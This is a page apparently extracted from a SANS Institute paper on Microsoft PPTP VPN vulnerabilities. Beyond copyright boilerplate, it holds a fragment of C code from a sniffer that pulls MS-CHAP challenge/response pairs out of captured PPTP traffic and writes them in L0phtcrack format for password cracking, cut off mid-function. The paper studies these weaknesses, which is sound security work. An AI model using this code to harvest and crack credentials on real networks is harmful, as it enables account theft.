Microsoft pptp vpn vulnerabilities Exploits in Action

© SANS Institute 2000 - 200
                                                5
, Author retains full rights.
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 
 
© SANS Institute 2000 - 200
5                                                                                                                 
Author retains full rights.
77
int print_l0phtcrack1(struct ip *ip, struct pptp_gre_header *gre, void *pack)
{
struct {
struct ppp_lcp_chap_header chap;
struct ppp_chap_challenge responce;
} *p;
struct challenge *ptr;
struct challenge *prev = NULL;
int ret;
ret = 0;
p = pack;
for (ptr =challenges; ptr != NULL; prev = ptr, ptr = challenges->next)
{
if ((ptr->clt.s_addr == ip->ip_src.s_addr) &&
(ptr->srv.s_addr == ip->ip_dst.s_addr))
break;
}
if (ptr != NULL)
{
unsigned char name[64];
int len;
bzero(name, 64);
len = ntoh16(p->chap.length) - 54;
if (len > 63) len = 63;
bcopy(((char *)p) + 54, name, len);
name[len] = '\0';
/*
* L0phtcrack dislikes c/r entries with more than 5 fields so we
* put tthe client server information in the username field.
*/
fprintf(crs, "%s (Server %s ", name, inet_ntoa(ptr->srv));
fprintf(crs, "Client %s):0:", inet_ntoa(ptr->clt));
if (ptr->version == 1)
{
ret = 1;
hexprint(crs, ptr->challenge, 8);
fprintf(crs, ":");
hexprint(crs, p->responce.value.responce_v1.lanman, 24);
fprintf(crs, ":");
0

---